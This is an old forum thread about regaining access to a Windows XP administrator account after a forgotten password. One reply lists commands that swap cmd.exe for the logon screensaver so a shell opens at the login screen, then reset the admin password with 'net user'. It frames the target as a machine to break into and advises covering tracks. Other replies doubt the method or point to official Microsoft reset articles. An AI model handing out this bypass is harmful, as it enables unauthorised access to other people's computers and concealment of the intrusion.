administrative password, resetting?

[Bruce]

Have a friend, can't log on to his admin acct. I read in a previous post
somewhere of a program that can reset it or clear it out? I believe he has
windows xp home edition.
Or is there a way some how to reset or delete the password?

He has tried every combination he can think of but no luck. His next option
is cleaning the hd or getting a new hd?
thanks Bruce

 

[crime prevention]

you could try this

If you log into a limited account on your target machine and open up a dos
prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command
program
and the screen saver file, then edits the settings so when the machine boots
the
screen saver you will get an unprotected dos prompt with out logging into
XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah
enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir
to cover tracks


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[Bruce]

well, I am not there, and not so sure he can follow those instructions.
Someone posted a website to do it in an easier process.
I think it was for windows2000, but alwo worked in xp.

 

[crime prevention]

just print them off, and either he or a trained monkey could do it.

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[Zilbandy]

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command
program
and the screen saver file, then edits the settings so when the machine boots
the
screen saver you will get an unprotected dos prompt with out logging into
XP.

If you can't get passed the logon screen, how is the screen saver
going to activate. I don't think it's that simple.

If this is just a user account with administrator privileges, you
might try booting into safe mode and trying to log on to the
Administrator account. By default, the admin account does not have a
password. If no one set it, you should be able to just hit enter and
get in. If there is a password on the actual Administrator account,
you're going to have to Google for the solution.

I tried 'cracking' my admin account once with a program I found on the
Internet and I couldn't get it to work. I guess I'm not geeky enough
to follow the instructions. You do know that you can enter a 'hint'
when you set up a password.

 

[Bruce]

You would be surprised what trained, can not do.
If no one responds to the site on this post, I'll go back and search
previous post.

 

[WTC]

Have a friend, can't log on to his admin acct. I read in a previous post
somewhere of a program that can reset it or clear it out? I believe he has
windows xp home edition.
Or is there a way some how to reset or delete the password?

He has tried every combination he can think of but no luck. His next
option is cleaning the hd or getting a new hd?

How to log on to Windows XP if you forget your password or your password
expires
http://support.microsoft.com/?kbid=321305

Forgotten your Windows XP Home password? - Part 1: Introduction
http://support.microsoft.com/?kbid=894900

For future reference,
How to create and use a password reset disk for a computer that is not a
domain member in Windows XP
http://support.microsoft.com/?kbid=305478

Forgotten your Windows XP Home password? - Part 2: Using a password reset
disk
http://support.microsoft.com/?kbid=894901

Forgotten your Windows XP Home password? - Part 3: Setting a new password as
an administrator
http://support.microsoft.com/?kbid=894902

 

[Bruce Chambers]

Have a friend, can't log on to his admin acct. I read in a previous post
somewhere of a program that can reset it or clear it out? I believe he has
windows xp home edition.
Or is there a way some how to reset or delete the password?

He has tried every combination he can think of but no luck. His next option
is cleaning the hd or getting a new hd?
thanks Bruce

How to Log On to Windows XP If You Forget Your Password or Your
Password Expires
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q321305

Failing that, Linux-based password cracking utilities abound on the
Internet, freely available to anyone who can use Google.


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Bruce Chambers

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